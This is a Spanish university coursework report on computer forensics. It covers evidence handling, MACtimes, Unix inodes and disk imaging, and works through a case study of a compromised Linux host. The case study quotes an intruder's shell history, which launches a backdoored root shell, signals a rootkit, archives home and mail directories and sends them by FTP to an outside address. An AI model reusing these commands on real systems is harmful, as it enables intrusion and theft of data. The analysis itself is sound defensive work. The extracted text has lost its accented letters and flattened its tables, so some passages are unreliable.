Professional Documents
Culture Documents
I NFORMTICA .
Trabajo Prctico
Informtica Forense.
Alumnos:
Docentes:
ndice.
1.
2.
Introduccin.................................................................................4
1.1.
1.2.
Principios forenses..........................................................................................6
1.3.
Evidencia Digital.............................................................................................6
1.4.
1.4.1.
1.4.2.
1.4.3.
1.4.4.
MACtimes .................................................................................................14
2.1.2.
2.1.3.
2.2.
3.
2.2.1.
2.2.2.
2.2.3.
2.2.4.
3.1.1.
3.1.2.
3.1.3.
3.1.4.
3.1.5.
3.1.6.
3.2.
3.2.1.
3.2.2.
3.2.3.
Grupo 3
1 Cuatrimestre - 2007
3.2.4.
3.2.5.
Cuentas de usuario...................................................................................33
3.2.6.
3.3.
5.
3.3.1.
DD..............................................................................................................35
3.3.2.
DD Rescue.................................................................................................35
3.3.3.
DDFLDD ...................................................................................................36
3.4.
4.
Conclusiones .................................................................................................36
Anexo ..........................................................................................38
4.1.
4.2.
Bibliografa ................................................................................41
1. Introduccin.
El anlisis forense de un sistema involucra primeramente la recopilacin de informacin dispersa
en todo el sistema y posteriormente un anlisis de la misma; mientras ms completa y precisa resulte
dicha informacin, ms verdico ser el anlisis realizado. La adecuada conservacin de la
informacin del sistema original cumple un rol fundamental en la investigacin, de modo que el
procesamiento de la misma debera llevarse a cabo sobre una copia de los datos del sistema original.
Disponer de una copia exacta de todo el sistema es el objetivo ideal de la recopilacin, pero esto es
en s imposible dado que en el proceso de recoleccin otros usuarios o programas pueden disparar
cambios en el sistema, destruyendo parte de la evidencia. An ms, la perdida de la informacin
podra ser causada por una trampa dejada por algn intruso o persona mal intencionada, o
simplemente por cualquier programa que se ejecute. Por este motivo las tcnicas forenses
tradicionales se han centrado en apagar los sistemas y realizar un anlisis sobre la informacin que
persista: logs de programas, tiempos de acceso, contenidos de archivos, etc. Esto facilita la captura
de la informacin y el establecimiento de una lnea de tiempo irrefutable.
Deben tomarse numerosas precauciones y cuidados en caso de tomar informacin de un sistema
en funcionamiento. En general, el sistema debe aislarse y deben recuperarse los datos siguiendo su
orden de volatilidad (OOV), es decir, de acuerdo a su expectativa de vida media dentro del equipo.
Respetar este orden aumenta las probabilidades de salvar los datos ms efmeros (en caso de que sean
los que nos interesan). Con respecto a esto debemos mencionar que no es posible registrar todos los
cambios que ocurren en procesos o archivos en tiempo real, pues al tomar datos de un sector se
modifican en otro (algo similar a un principio de incertumbre).
Otro aspecto fundamental a la hora de realizar un anlisis es determinar la confiabilidad de la
informacin. Cualquiera de los distintos sectores de un sistema podra ser modificado para reflejar
datos falsos; en general, cuantas ms fuentes haya y cuanto ms independientes sean, ms certeza
habr respecto de la veracidad de las mismas. Cuando nos referimos a fuentes de informacin
queremos indicar cualquier elemento que pueda aportar elementos para la reconstruccin de un
suceso en un sistema, ya sean logs de red, entradas en el journal, MACtimes de archivos, dumps de
memoria, etc.
La destruccin de la informacin dentro de un sistema es algo complicado; por ejemplo, la
informacin contenido en un archivo borrado persiste hasta que sea sobrescrita por uno nuevo. En
sistemas de archivos con un clustering eficiente los datos pueden persistir por aos, aunque ms no
sea parcialmente. A medida que aumenta el grado de abstraccin de las capas del sistema,
encontramos ms informacin remanente, aunque su significado est ms oculto, es ms ambiguo.
Haciendo una analoga con el mundo real pueden clasificarse los procesos que ocurren en un
ordenador en dos grupos. Por un lado identificamos procesos de tipo arqueolgico, que son el
resultado de la accin directa de un ser humano sobre la computadora; por ejemplo, el contenido de
Grupo 3
1 Cuatrimestre - 2007
archivos, registros de acceso, registros de trfico de red. Por otro lado, al hacer referencia a los
procesos geolgicos nos referimos a los procesos autnomos del sistema, aquellos sobre los que los
humanos no tiene control alguno, como la asignacin y el reciclado de bloques de memoria, la
asignacin de ID para archivos o procesos. Los procesos de tipo geolgico destruyen las evidencias
arqueolgicas que quedan en el sistema, es decir, los procesos autnomos sobrescriben los datos que
pueden haber quedado almacenados por el accionar de una persona.1
1.1.
Informtica Forense
Las tcnicas forenses son aquellas que surgen de una investigacin metdica para reconstruir
una secuencia de eventos. Las tcnicas de forense digital son el arte de recrear que ha pasado en un
dispositivo digital. Existen dos aspectos principales sobre los cuales trabajar:
Desencriptacin elemental
Reconstruir acciones
Rastrear el origen
La informtica forense hace entonces su aparicin como una disciplina auxiliar de la justicia
moderna, para enfrentar los desafos y tcnicas de los intrusos informticos, as como garante de la
verdad alrededor de la evidencia digital que se pudiese aportar en un proceso legal.
Grupo 3
1 Cuatrimestre - 2007
1.2.
Principios forenses
1.3.
Evidencia Digital
La evidencia digital puede definirse como "cualquier informacin, que sujeta a una intervencin
humana u otra semejante, ha sido extrada de un medio informtico". En este sentido, la evidencia
digital, es un trmino utilizado de manera amplia para describir cualquier registro generado por o
almacenado en un sistema computacional que puede ser utilizado como evidencia en un proceso
legal.
La evidencia digital posee, entre otros, los siguientes elementos que la hacen un constante
desafo para aquellos que la identifican y analizan en la bsqueda de la verdad:
a.
Voltil
b.
Annima
Grupo 3
1 Cuatrimestre - 2007
c.
Posible duplicarla
d.
Alterable y modificable
e.
La
Un Log en un fichero
Un proceso en ejecucin
Archivos temporales
recomendacin
RFC-3227
(http://www.faqs.org/rfcs/rfc3227.html)
provee
los
1.4.
datos
En la actualidad existen varias metodologas de trabajo para la realizacin de anlisis de datos.
Se presenta a continuacin un modelo a seguir, elegido por la practicidad y eficiencia que ofrece
dicho enfoque metodolgico2.
Grupo 3
1 Cuatrimestre - 2007
Grupo 3
1 Cuatrimestre - 2007
Grupo 3
1 Cuatrimestre - 2007
aunque por principio general se debe trabajar sobre imgenes de la evidencia original, slo el perito
podr determinar cuando debe o no aplicarse este tipo de medida.
En muchos casos resulta impracticable realizar copias de la evidencia original por impedimentos
tcnicos u otras razones de tiempo y lugar. En estos casos se debern extremar las precauciones
durante la investigacin, siempre aplicando tcnicas de anlisis de datos no-invasivas y utilizando
todas las herramientas forenses que estn al alcance, a fin de no alterar la evidencia.
10
Grupo 3
1 Cuatrimestre - 2007
espacios llamados clusters. Los atributos de mayor inters para el investigador forense son: el
nombre del archivo, MAC Times (fecha y hora de la ltima Modificacin, Acceso o Cambio de un
archivo) y los datos (si el archivo es suficientemente pequeo) o la ubicacin de los datos en el disco.
Asimismo, el archivo utilizado como memoria virtual del sistema operativo (Swap file), el espacio
libre que puede quedar entre un archivo y el cluster en el cual reside (Slack space), la papelera de
reciclaje (Recycle bin), clusters que contienen parte que los archivos borrados (Unallocatable space),
los accesos directos, los archivos temporarios y los de Internet, son algunos de los elementos sobre
los que se realiza habitualmente el anlisis de datos. Por otro lado, un examen del registro de
Windows permite conocer el hardware y software instalado en un determinado equipo.
El anlisis sobre sistemas Unix es similar al de Windows, ya que se investiga sobre los
elementos citados precedentemente. Unix utiliza el concepto de nodos ndices (i-node) para
representar archivos. Cada i-node contiene punteros a los datos en el disco, as como tambin los
atributos del archivo. Los datos se escriben en unidades llamadas bloques (blocks) siendo un
concepto anlogo a los clusters de Windows. En Unix todo es tratado como un archivo, y puede estar
almacenado en formato binario o texto.
11
Grupo 3
1 Cuatrimestre - 2007
Documentos
facilitados,
recopilados
examinados
(Proyectos,
expedientes
Metodologa del informe (Se expondrn los criterios que se han seguido para su
elaboracin).
Dictamen (Por ultimo, deber completarse junto con el apartado de conclusiones, que
recoger de modo resumido los aspectos ms determinantes del trabajo).
Anexos (Este apartado estar compuesto por los diferentes documentos obtenidos en
las investigaciones: fotografas, resultados de los anlisis, documentacin relevante
como prueba, normativa infringida, etc.).
12
Grupo 3
1 Cuatrimestre - 2007
13
Grupo 3
1 Cuatrimestre - 2007
2.1.
Registros temporales
MACtimes
Algunas fuentes de
registros de tiempo
Registros de
trfico de red y
DNS Servers.
Registros propios
del file system
(journal)
2.1.1. MACtimes
Constituyen uno de los recursos ms simples de entender y emplear en una investigacin.
MACtimes es una forma abreviada de referirse a tres atributos de tiempo que poseen los archivos en
sistemas de archivos UNIX, Windows y otros:
14
Grupo 3
1 Cuatrimestre - 2007
Ctime: se refiere a la ltima vez que se modific el metacontenido del archivo (dueo,
grupo, permisos, etc.). Ctime tambin puede usarse como un estimativo de cundo un
archivo fue borrado.
Una de las limitaciones fundamentales es que se refieren solamente a la ltima vez que se que se
interactu con cierto archivo; es prcticamente imposible recuperar los MACtimes antiguos.
Existen distintas herramientas para conocer los MACtimes; algunas de ellas como el comando ls
vienen con el sistema operativo, y otras como el comando mactime del Coroners Toolkit son
especficamente diseadas para esa tarea.
Debe tenerse especial cuidado de no modificar los MACtimes de los archivos de un sistema
comprometido mientras intenta salvaguardarse la informacin. Por ejemplo, acceder a un directorio
modifica su atime, copiar o leer un archivo tambin lo hace. Hacer un backup de la informacin antes
de relevar los MACtimes lleva a que todos los MACs se actualicen y se pierda informacin valiosa.
Entre las limitaciones principales que podemos mencionar de los MACtimes mencionaremos:
No puede verse la historia previa de los archivos, slo la ltima vez que se modific
algn aspecto del mismo.
A veces la accin del intruso es similar a la de los usuarios y no puede distinguirse con
MACtimes.
Pueden falsearse: por ejemplo en UNIX el comando touch permite modificar los atimes
y mtimes de los archivos.
15
Grupo 3
1 Cuatrimestre - 2007
Fciles de obtener y
utilizar
Aportan informacin
valiosa
Ventajas
Mtime: ltima modificacin de contenido
MACtimes
Limitaciones
Fcilmente
perdibles
Slo ltima
modificacin
Fcilmente
falseables
Funcin
Determinar Mtime
Determinar Atime
Determinar Ctime
Determinar
MACtimes
Sintaxis bsica
ls l fil ena me
ls - lu fil enam e
ls - l c f il ename
st at fi l ena me
ma cti me d directorio fecha1fecha2
Ejemplo
l s l / et c/p as s wd
l s l u / et c/ pas s wd
ls l c /et c/pa s s wd
st at / et c/ pass wd
ma cti me d / etc 01/04/2007-05/13/2007
16
Grupo 3
1 Cuatrimestre - 2007
Directorios
Accin
Crear (mkdir foo)
Mover (mv foo bar)
Crear archivos (touch /foo/foo)
Listar (ls foo)
Cambiar de directorio (cd foo)
Cambio de permisos (chmod/chown <perm> foo)
Copia (mv foo_mvd foo)
Edicin de archivos (vim/emacs foo)
Archivos
Accin
Crear (touch foo)
Renombrar (mv foo bar)
Cambio de permisos (chmod <perm> foo)
Copia (cp foo bar)
Copia con sobrescritura (cp foo bar)
Agregar (cat >>foo)
Sobrescribir (cat>foo)
Listar (ls foo)
Editar (vim/emacs foo)
Mtime
x
x
x
Atime
x
Ctime
x
x
x
x
x
x
x
x
x
Mtime
x
Atime
x
Ctime
x
x
x
x
x
x
x
x
x
x
x
Tabla 2.2. Ejemplos de cambio de MACtimes por operaciones sobre archivos y directorios.
Extrado de http://www.securityfocus.com/infocus/1738.
17
Grupo 3
1 Cuatrimestre - 2007
Registros principales
de un DNS Server
A: traducen el
nombre de una PC a
un direccin IP.
MX: permiten
direccionar el
e-mail
El daemon DNS standard de UNIX que se llama Bind, conserva un cache en memoria donde se
almacenan las bsquedas recientes. Si bien no guarda el momento exacto en que realiz cada
bsqueda, s conserva el tiempo que resta para que se descarte dicha entrada del cache (TTL, time to
live). Conociendo el tiempo inicial de los archivos al ingresar al cache se podra conocer
aproximadamente en que momento se hizo la bsqueda (asumiendo que en el medio no haya
cambiado el TTL).
18
Grupo 3
1 Cuatrimestre - 2007
2.2.
Existen numerosos file system en UNIX, casi todos basados en el Fast File System (FFS)
diseado en 1974 por Ritchie y Thompson.
Todos los directorios estn organizados en un rbol de directorios y dependen de un directorio
principal. Las hojas o nodos del rbol estn separados por / y tienen nombres como /home/user.
No existen nombre de unidades (C:/) o hostnames; aun perifricos como impresoras, memoria, y los
mismos discos son accedidos como archivos del file system.
Un mismo disco puede contener varios file system distintos y el rbol de directorios puede
construirse con mltiples particiones de un disco. Para hacer que un archivo en un disco est
disponible debe ser montado en algn directorio del file system mediante, por ejemplo, los comandos
mount/umount. Una manera de ocultar informacin es la de montar dos file system en un mismo
punto, uno encima del otro; esto hace que el primero en montarse no pueda ser accedido mediante los
comandos habituales para tal fin (por ejemplo, cd). Esto se debe a que dichos comandos interrogan al
sistema operativo acerca de los directorios montados en cierto punto, y ste ltimo devuelve la
informacin del ltimo montado y no reconoce al primero. Para poder acceder al otro file system ese
necesario emplear herramientas que dupliquen parte de su funcionalidad y permitan acceder a la
informacin por via directa.
Otra forma de ocultar informacin consiste en no montar un file system en ningn punto. En
Linux puede conocerse qu File System se encuentran montados tipeando df en la lnea de comando.
Adems, ingresando:
f d i sk l dispositivo
pueden visualizarse las particiones que hay en el dispositivo.
19
Grupo 3
1 Cuatrimestre - 2007
Procesos de usuario
Llamada al sistema
Kernel
DOSfs
Ext2fs
Ext3fs
Buffer
Drivers de dispositivo
Request de I/O
Controlador de disco
Hardware
Figura 2.4. Estructura de File System Virtual para el acceso a disco en Linux.
POSIX es un acrnimo de Portable Operating System Inteface; la X proviene de UNIX. Es una familia de
standards de llamadas al sistema operativo (system calls) definidos por la IEEE y especificados en el IEEE 1003.
Permiten generalizar las interfaces de los sistemas operativos para que una misma aplicacin pueda ejecutarse en
distintas plataformas.
20
Grupo 3
1 Cuatrimestre - 2007
chgrp. Lo mismo ocurre con los dispositivos fsicos como memoria, impresoras, etc. que constituyen
los llamados Device Files. La siguiente figura resume los tipos de archivos ms habituales que
pueden encontrarse:
Archivos comunes
El tipo ms habitual. Contienen datos o software.
IPC Endpoints
Dentro del file system,
comunican dos procesos
de una misma mquina.
Directorios
Tambin son archivos pero deben modificarse a
travs de primitivas (no directamente)
Tipos de archivos
UNIX
Links simblicos
Alias para un archivo o
directorio.
Device files
Permiten acceder al hardware.
Character devices
Permiten el acceso por bytes a un dispositivo.
En general no tienen buffer en el kernel pero pueden.
Ejemplo: memoria, impresoras,
Block devices
Acceden a los datos por medio de la estructura de
bloques que use el medio fsico. Usan buffering en el
kernel. Algunos tambin tiene interfaz Character.
21
Grupo 3
1 Cuatrimestre - 2007
Directorio /home/pepe
Archivo
Inodo
foo
bar
123
459
Inodo 123
dueo/ID de grupo
permisos
tipo de archivo
Referencia a datos
otros...
otros...
Bloques de datos
datos
datos
datos
Tipo de archivo.
Directorios, archivos
comunes, dispositivos, etc.
Direcciones de datos en
el disco.
(ver Figura siguiente).
Dueo.
ID de dueo y grupo
al que pertenece.
Informacin tpica
de un Inodo
Permisos.
Los bits rwx asociados al dueo,
usuarios y otros, as como
set-uid, set-gid y sticky bit.
Tamao en bytes.
Indica donde termina el
archivo (no hay caracteres
de terminacin).
MACtimes.
Ext3fs adems tiene un Deletion
time que indica cuando fue
borrado un archivo.
En Linux puede usarse el comando stat para leer el contenido de un inodo asociado a un archivo.
El Coroners Toolkit incluye las herramientas ils e icat que permiten leer el contenido de nodos y
leer los bloques de datos a los que hace referencia un nodo, respectivamente. Algunos ejemplos de
empleo de estos comandos son los siguientes:
22
Grupo 3
1 Cuatrimestre - 2007
Funcin
Leer el contenido de un inodo
Leer el bloque de datos asociado a un
inodo
Sintaxis bsica
st at filename
Ejemplo
s t at / et c/pa ss w d
Los tres comandos leen directamente los Inodos por lo cual algunas tcnicas para ocultar
informacin pueden no funcionar.
Por ejemplo, para salvar el journal de un File System podramos hacer lo siguiente:
Comando
tune2fs -l /dev/hda1 | grep -i journal
icat /dev/hda1 8 >journalfile
Funcin
Conocer el inodo del journal
Enva el contenido del journal a un archivo7
7
El contenido debe enviarse a otro file system para evitar que el journal se destruya a si mismo con su propio
contenido.
23
Grupo 3
1 Cuatrimestre - 2007
Punteros de un Inodo
Bloques de datos
1
2
...
12
13
14
15
1
2
...
12
Direccionamiento
simple
13
...
...
1036
1037
Direccionamiento
doble
...
...
2060
...
...
Direccionamiento
triple
2061
...
...
...
...
...
...
Figura 2.8. Estructura de direccionamiento de datos dentro de un Inodo.
Etiqueta
Grupo de
bloques 0
super
block
Descriptor
de grupo
Particin
...
bitmap de
bloques
Particin
Particin
Grupo de
bloques N-1
bitmap de
inodos
Grupo de
bloques N
Tabla de
inodos
Datos
24
Grupo 3
1 Cuatrimestre - 2007
El superbloque identifica el file system y contiene sus parmetros principales (bloques libres,
inodos libres, tamaos de bloques, etc.). Cada zona posee su propia copia del superbloque en forma
redundante. En algunos casos la redundancia puede ser til para recuperar file system daados.
Los atributos del grupo se encuentran en el Descriptor de grupo, y los Bitmaps de bloques
indican el estado de uso de cada uno de los bloques del grupo. El estado de cada uno de los inodos se
encuentra almacenado en el bitmap de inodos, que funciona del mismo modo que el bitmap de
bloques. La tabla de inodos referencia los nombres de archivos con los nmeros de inodos y contiene
asimismo los inodos.
La estructura de grupos de bloques provee una gran robustez y confiabilidad pues las estructuras
de control del sistema estn replicadas en cada grupo de bloques lo que permite recuperarse en forma
rpida si el superbloque se corrompe. Esta estructura tambin permite obtener una buena
performance pues al reducir la distancia entre la tabla de inodos y los bloques de datos es posible
reducir el movimiento del cabezal del disco en lecturas y escrituras.
25
3.1.
3.1.2.
3.1.3.
3.1.4.
Tablas de ruteo
3.1.5.
3.1.6.
Filesystems montados
Para registrar la salida de todos los comandos ejecutados, transferiremos la salida de los mismos
del equipo investigado hacia el equipo de trabajo, utilizando la utilidad netcat. Para ello antes de la
ejecucin de cada comando, en el equipo de trabajo debemos ejecutar:
nc v l p 10000 > comando.txt
Este comando abre el puerto 10000 en el equipo de trabajo, y queda en modo Listen esperando
conexiones. A su vez, el modificador v informa sobre el desarrollo de la conexin.
Luego, en el equipo investigado se debe ejecutar cada comando redirigiendo su salida al puerto
abierto en el equipo de trabajo:
comando | nc IP_equipo_de_trabajo 10000
Grupo 3
1 Cuatrimestre - 2007
De esta forma, la salida del comando ser redirigida hacia el equipo de trabajo, almacenndose
en el archivo comando.txt. Una vez completado el comando debe interrumpirse el comando nc en el
equipo de trabajo. Hecho esto, es recomendable computar inmediatamente un hash MD5 o SHA-1
del archivo comando.txt, para eventualmente probar la inalterabilidad del mismo.
Proto
tcp
tcp
tcp
tcp
tcp
Local Address
102.60.21.3:22
102.60.21.3:3879
102.60.21.3:515
102.60.21.3:2323
0.0.0.0:3879
Foreign Address
94.90.84.93:2094
94.90.84.93:2090
94.90.84.93:1761
0.0.0.0:*
0.0.0.0:*
State
ESTABLISHED
ESTABLISHED
CLOSE
LISTEN
LISTEN
Las tres direcciones remotas involucradas estn fuera de la empresa, y no son conexiones
utilizadas habitualmente en el equipo investigado. La primer lnea muestra una conexin desde esa IP
sospechosa hacia el puerto de ssh del equipo investigado. La segunda lnea muestra una conexin al
puerto 3879 del equipo investigado. Finalmente, la tercer lnea muestra una conexin al puerto 515
del equipo investigado. Al ser un puerto menor a 1024, es lo que se conoce como Well Known Port.
Los Well Known Port son puertos cuyo uso est estandarizado por la IANA (Internet Assigned
Numbers Authority), por lo que tienen asignadas una funcin especfica. En el caso del puerto 515, el
mismo se corresponde con el servicio de impresin por red. Este puerto suele estar en modo Listen
27
Grupo 3
1 Cuatrimestre - 2007
con el proceso lpd escuchando, pero en este caso tuvo una conexin activa desde la IP sospechosa.
Esto lleva a pensar en alguna vulnerabilidad existente en dicho proceso y puerto.
Es fundamental en la ejecucin de un anlisis forense las consultas a organismos y entidades
relacionadas con la seguridad informtica. En este caso una consulta permiti determinar que
precisamente la versin de lpd existente en el equipo investigado presentaba una vulnerabilidad tal
que permita a un usuario remoto obtener control del sistema como superusuario.
Por otro lado, es sospechoso tambin que los puertos 2323 y 3879 se encuentran en estado
Listen, es decir, abiertos y esperando conexiones. Estos puertos no eran utilizados normalmente por
ningn proceso dentro de la empresa, por lo cual deben ser investigados.
Command
Sh
Sh
Sh
Sh
Sh
Sh
Sh
PID
5077
5077
5077
5077
5077
5077
5077
User
root
root
root
root
root
root
root
Type
DIR
IPv4
IPv4
CHR
IPv4
IPv4
IPv4
Node
64186
TCP
TCP
29284
TCP
TCP
TCP
Name
/tmp/.kde
102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED)
102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED)
/dev/null
102.60.21.3:printer -> 94.90.84.93:1761 (CLOSED)
*:3879 (LISTEN)
102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED)
El comando mostrado es sh, es decir, un shell de usuario, que permite ingresar comandos al
sistema operativo. Notamos en la cuarta lnea que la salida de errores del mismo est redirigida hacia
/dev/null, de forma tal de que los mismos no se escriban en la consola del equipo, sino que se
desechen.
La primera lnea muestra que el directorio de trabajo de este proceso es un directorio oculto
(.kde) dentro del directorio /tmp. Este comportamiento no es usual, ya que en general el directorio
de trabajo de un shell es el correspondiente al directorio home del usuario. Mucho ms llamativo es
el hecho de que el directorio de trabajo sea oculto. En la segunda, tercera y sptima lnea notamos
28
Grupo 3
1 Cuatrimestre - 2007
establecida la conexin que ya antes habamos detectado con el comando netstat. En la quinta lnea
vemos que el puerto printer tuvo una conexin activa con la IP sospechosa. Esto ya lo habamos
detectado con el comando netstat, pero ahora pudimos establecer la asociacin con el comando sh.
Esto no debiera ser as, ya que en este puerto las conexiones debieran realizarse con el proceso lpd,
como se mencionara anteriormente. Es decir, un usuario se conect al puerto 515 del equipo
investigado, y estableci un shell donde ejecutar comandos en el mismo.
En la misma salida de lsof n se obtuvo la siguiente informacin:
Command
Sh
PID
5278
User
root
Type
DIR
Node
4096
Name
/tmp/.kde/brute/john-1.6/run
Al observar esta lnea vemos que el proceso 5278 se est ejecutando en el directorio
/tmp/.kde/brute/john-1.6/run. Esta informacin puede ser considerada como evidencia que el
usuario root est corriendo la versin 1.6 de un programa conocido como John The Ripper. Este
programa es un conocido cracker de claves por fuerza bruta. En este punto podemos estar bastante
seguros que un atacante desde la IP 94.90.84.93 est usando este programa para obtener la clave de
algn usuario.
Finalmente, para listar todos los procesos activos en el equipo, usamos el comando ps aux. Este
comando lista todos los procesos y los usuarios con los que se estn ejecutando. Al correr este
comando no se observ ningn proceso particularmente sospechoso, sin siquiera poder observarse el
cracker de claves antes mencionado.
Tambin podemos notar que no se observaron rastros del puerto TCP:1023 en la salida del
comando lsof. Estos dos indicios pueden llevar a pensar que el kernel del sistema operativo fue
modificado en tiempo de ejecucin para ocultar convenientemente procesos y archivos
pertenecientes al atacante. Al duplicar posteriormente el disco del equipo investigado, se podr
determinar esta suposicin.
29
Grupo 3
1 Cuatrimestre - 2007
3.2.
La informacin no voltil puede luego recuperarse desde una copia forense del disco. Sin
embargo, se resuelve recolectar algo de esta informacin antes de apagar el equipo investigado. Esta
informacin incluye:
3.2.1.
3.2.2.
3.2.3.
3.2.4.
3.2.5.
Cuentas de usuario
3.2.6.
30
Grupo 3
1 Cuatrimestre - 2007
Permisos
755
644
600
444
Fecha
Acceso
9/08/03
9/08/03
9/08/03
9/08/03
Hora
Acceso
13:37
16:43
16:36
15:49
Fecha
Modificacin
8/14/00
9/08/03
9/08/03
7/16/02
Hora
Modificacin
15:23
14:58
14:58
20:30
Fecha
Cambio
8/23/03
9/08/03
9/08/03
9/08/03
Hora
Cambio
7:51
14:58
14:58
15:15
755
9/08/03
16:22
9/08/03
16:05
9/08/03
16:05
Ruta Completa
/usr/sbin/lpd
/etc/passwd
/etc/shadow
/usr/lib/perl5/site_
perl/5.6.0/Net/Tel
net.pm
/usr/sbin/lpd
A partir de esta informacin es posible determinar a partir de la fecha de cambio, que el atacante
instal un mdulo de Perl. Perl es un lenguaje de scripting y programacin, por lo que es posible que
el mdulo instalado fuera una dependencia de las utilidades que el atacante instal en el equipo
investigado. Tambin es posible determinar que los archivos /etc/passwd y /etc/shadow fueron
modificados en la misma fecha sospechosa.
Observamos dos veces el archivo /usr/sbin/lpd. Debemos notar que no est duplicado, sino que
la versin creada en la fecha sospechosa tiene por nombre /usr/sbin/lpd , es decir, cuenta con un
espacio al final.
Debemos notar que no hay rastros del directorio de trabajo antes determinado, /tmp/.kde. Esto es
otro indicio que un mdulo fue cargado en el kernel en tiempo de ejecucin, para ocultar el accionar
del atacante.
Por otro lado, se debe computar un hash de cada uno de los archivos del sistema, a fin de poder
probar su autenticidad posteriormente. Para ello, utilizamos el comando:
find / -type f xdev exec md5sum b {} \;
Esto procesa todos los archivos del sistema, produciendo como salida el hash MD5 de cada uno.
Debiera actualmente utilizarse un mtodo de hash ms actualizado.
31
Grupo 3
1 Cuatrimestre - 2007
Puede utilizarse alguna base de datos de hash conocidos de archivos del sistema, a fin de
descartar los que no han sido modificados.
USER
root
curtis
lpd
TTY
tty1
tty2
pts/2
FROM
94.90.84.93
LOGIN
1:41
2:12
3:00
WHAT
t_bash
-bash
-sh
Notamos que el usuario lpd se encuentra conectado, y desde una IP desconocida para la empresa.
Este usuario no es un usuario normal del sistema, asi que podemos sospechar que el atacante est
conectado desde esa IP.
Por otro lado, el historial de conexiones de usuarios al equipo, puede obtenerse con el comando
last. A partir del mismo, se obtuvo la siguiente informacin:
USER
richard
richard
richard
richard
richard
richard
lpd
Reboot
TTY
pts/1
pts/0
pts/0
pts/0
pts/3
pts/0
pts/2
system boot
FROM
102.60.21.3
10.60.21.97
102.60.21.3
102.60.21.97
102.60.21.97
102.60.21.3
94.90.84.93
DATE
Mon Sep 8 16:36 16:37
Mon Sep 8 16:34 16:37
Mon Sep 8 16:22 16:33
Mon Sep 8 16:21 16:21
Mon Sep 8 16:18 16:19
Mon Sep 8 16:10 16:21
Mon Sep 8 15:00 still logged in
Mon Sep 8 13:37
Luego del reinicio del equipo, vemos una conexin del usuario lpd desde la IP que consideramos
sospechosa, sin que an se hubiera desconectado. Por otro lado, vemos conexiones del usuario
richard desde una IP propia de la empresa, dentro de la actividad normal del mismo. Sin embargo,
tambin vemos conexiones del usuario richard desde el mismo equipo investigado. Esto puede ser un
indicio de la utilizacin de algn programa para redireccionar puertos, instalado por el atacante, tal
vez para evitar un firewall en el equipo.
32
Grupo 3
1 Cuatrimestre - 2007
Tanto los usuarios conectados, como el historial de conexiones de los mismos se pueden obtener
de los archivos /var/run/utmp y /var/run/wtmp respectivamente.
33
Grupo 3
1 Cuatrimestre - 2007
Sin embargo, en este caso se supone que el atacante utiliz el usuario richard para introducirse
en el equipo. Chequeando el arhivo .bash_history del usuario richard, encontramos los siguientes
comandos sospechosos:
Comando
netstat na | less
ps aexww | grep datapipe
ls al
kill -31 5883
Ps aexww | grep 5883
w
/usr/sbin/lpd
/usr/sbin/lpd /bin/bash
ls al
exit
tar cvzf /tmp/.kde/files.tar.gz /home /var/mail
tar cvzf /tmp/.kde/files.tar.gz /home /var/spool/mail
ftp 94.20.1.9
ping 94.20.1.9
ping 94.20.1.9
ftp 94.20.1.9
ls
/usr/sbin/lpd /bin/bash
w
Tabla 3.7. Historial de comandos del usuario richard .
Las lneas resaltadas indicant comandos que el usuario Richard no pudo reconocer. El primero
comando busca un proceso de nombre datapipe. Segn se coment, en los usuarios conectados al
equipo, apareca Richard conectado desde el propio equipo investigado. Datapipe es un programa
utilizado para redireccionar puertos del equipo a otros puertos, con el objeto de evitar firewalls u
otras medidas de seguridad.
Luego el atacante enva la seal 31 a un proceso. Esta seal no est definida en Linux, y es
generalmete usada en distintos rootkits para el kernel. Es muy posible que el atacante haya
modificado el kernel con un rootkit para ocultar sus pasos.
El atacante luego ejecuta uno de los archivos que se haba notado antes. Es muy posible que el
comando /usr/sbin/lpd /bin/bash sea utilizado para lanzar un shell con permisos de root.
Finalmente, el atacante comprime y archiva los directorios /home y /var/spool/mail, y luego los
enva a una direccin remota. Este aspecto es el ms importante de la investigacin, ya que se pudo
determinar la existencia de una importante fuga de informacin de la empresa.
34
Grupo 3
1 Cuatrimestre - 2007
3.3.
Duplicacin Forense
3.3.1. DD
Esta es una herramienta libre, cuya funcionalidad bsica es copiar bytes de un origen hacia un
destino. El programa dd est instalado por defecto en casi cualquier distribucin de Linux y versin
de UNIX.
La utilizacin de esta herramienta es simple:
dd if=/dev/hdb of=archivo.dd conv=notrunc,noerror,sync
Las opciones utilizadas son:
Puede especificarse adems el tamao de los bloques de datos a copiar, utilizando la opcin bs.
En general se recomienda utilizar como salida de dd un archivo, y no otro dispositivo, para
poder disponer del mismo para copiarlo al medio ms adecuado.
3.3.2. DD Rescue
Es una variacin del comando dd, orientada a discos con fallas fsicas, dado que puede utilizar
tamaos de bloque variables, y recorrer el disco tanto hacia delante como hacia atrs.
La sintaxis no es igual a la de dd:
dd_rescue /dev/hdb archivo.dd
Donde el primer parmetro indica el origin, y el segundo el destino.
35
Grupo 3
1 Cuatrimestre - 2007
3.3.3. DDFLDD
Esta herramienta agrega funcionalidad de autenticacin al dd, al tener integrado una
implementacin del algoritmo de hash MD5.
Se tiene la posibilidad de realizar hash de porciones de bloques del disco de origen, registrando
los mismos en un archivo. De esta forma, es posible validar grupo por grupo de bloques contra el
disco original.
La sintaxis es similar a la de dd, pero se agregan las opciones de hashwindows y hashlog. Estas
opciones permiten especificar el tamao de los grupos de bytes utilizados para calcular cada hash, y
el archivo donde se guardarn los mismos, respectivamente.
3.4.
Conclusiones
36
Grupo 3
1 Cuatrimestre - 2007
ayuda desde la propia planta de empleados, muchas veces el inters de la investigacin pasa por
descubrir o tener indicios sobre el culpable, sin llegar a etapas judiciales. No es necesario entonces, si
la empresa no lo requiere, realizar una copia forense de la informacin a analizar, si bien es muy
conveniente contar con una.
37
4. Anexo
4.1.
Caso1: ... A tal efecto, se utilizaron tcnicas informticas para garantizar la preservacin de la
evidencia electrnica, pudiendo a futuro verificarse la integridad del material probatorio por medio de
certificaciones digitales que se suministran para cada uno de los diskettes en cuestin, a saber:
Diskette1: 5F1CE0BF7738AB171D686E2A150CC593
Diskette2:9F3FB4171DF7F3B254CB93D4AABF6849
Diskette3: 36E53D636E3511C5ED3DC0C76B5233F8.
Dichas certificaciones son conocidas como valores Hash, resultando una cadena de caracteres y
nmeros nica para cada uno de los diskettes obtenida a travs de un algoritmo estndar aprobado
internacionalmente conocido como MD5. ...
b) Una descripcin detallada de todas las fuentes de informacin utilizadas, as como tambin
de los pasos realizados durante la investigacin:
Grupo 3
1 Cuatrimestre - 2007
